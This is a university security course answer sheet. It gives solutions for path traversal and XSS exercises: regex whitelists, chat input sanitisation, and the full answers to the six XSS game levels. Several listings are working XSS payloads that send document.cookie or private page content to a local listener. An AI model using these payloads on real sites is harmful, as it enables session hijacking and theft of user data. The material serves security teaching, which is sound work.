Security Practical 2 Answers

Dr Chris G. Willcocks

Last Modified: October 30, 2019

Practical 2

These answers are not in the same order as with the questions (to prevent awkard code splits).

Prevent path traversal attacks

There are multiple ways to do this. Here are two example whitelist regex approaches:

Listing 1: Python

```
# includes server.py
if re.search(r'[a-zA-Z]{1,20}\.[a-zA-Z]{1,4}', path):

# better more restrictive version
if re.search(r'[a-zA-Z]{1,20}\.(css|js|html|ico)', path):
```

The first accepts 1-20 letters, then a fullstop '.' followed by a file extension of up to 4 letters. The second accepts 1-20 letters, then a fullstop, then either 'css', 'js', 'html' or 'ico' extensions.

Stealing document cookies

Listing 2: Javascript

```
Hello everyone!<script>$.get('http://127.0.0.1:1337/malicious?'+document.cookie);</
    script>
```

Stealing with IMG onerror

Listing 3: Javascript

```
<img src=null onerror="$.get('http://127.0.0.1:1337/malicious?'+document.cookie);">
```

Stealing without cookies

Listing 4: Javascript

```
<script>$.get("http://127.0.0.1:1337/malicious?"+$('#private')[0].innerHTML);</script>
```

Using third-party libraries

If you wish to try using third-party libraries to solve the last question, that's fine but be aware of any code you wrote for the first half of the practical to whitelist valid paths. For example in my code I only allow one fullstop whereas a lot of third-party libraries have two full stops e.g. 'd3.min.js'.

XSS game answers

Listing 5: Javascript

```
Level 1: Hello, world of XSS
<script>alert('done')</script>

Level 2: Persistence is key
<img src=null onerror='alert("done")'>

Level 3: That sinking feeling...
https://xss-game.appspot.com/level3/frame#1' onerror='alert("done")';

Level 4: Context matters
https://xss-game.appspot.com/level4/frame
timer=');alert('done

Level 5: Breaking protocol
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert('done')
Enter an email and click next.

Level 6: Follow the X
https://xss-game.appspot.com/level6/frame#data:text/plain,alert('done')
```

Preventing XSS attacks in the Chat

This is quite hard to do properly depending on the use case (the amount of rich formatting supported). In the simplest case, with no support for formatting, I opted for a basic whitelisting approach on the server:

Listing 6: Python

```

self.names.append(name)
self.messages.append(message)

..becomes:

self.names.append(re.sub('[^a-zA-Z0-9 .,:!]', '', name))
self.messages.append(re.sub('[^a-zA-Z0-9 .,:!]', '', message))
```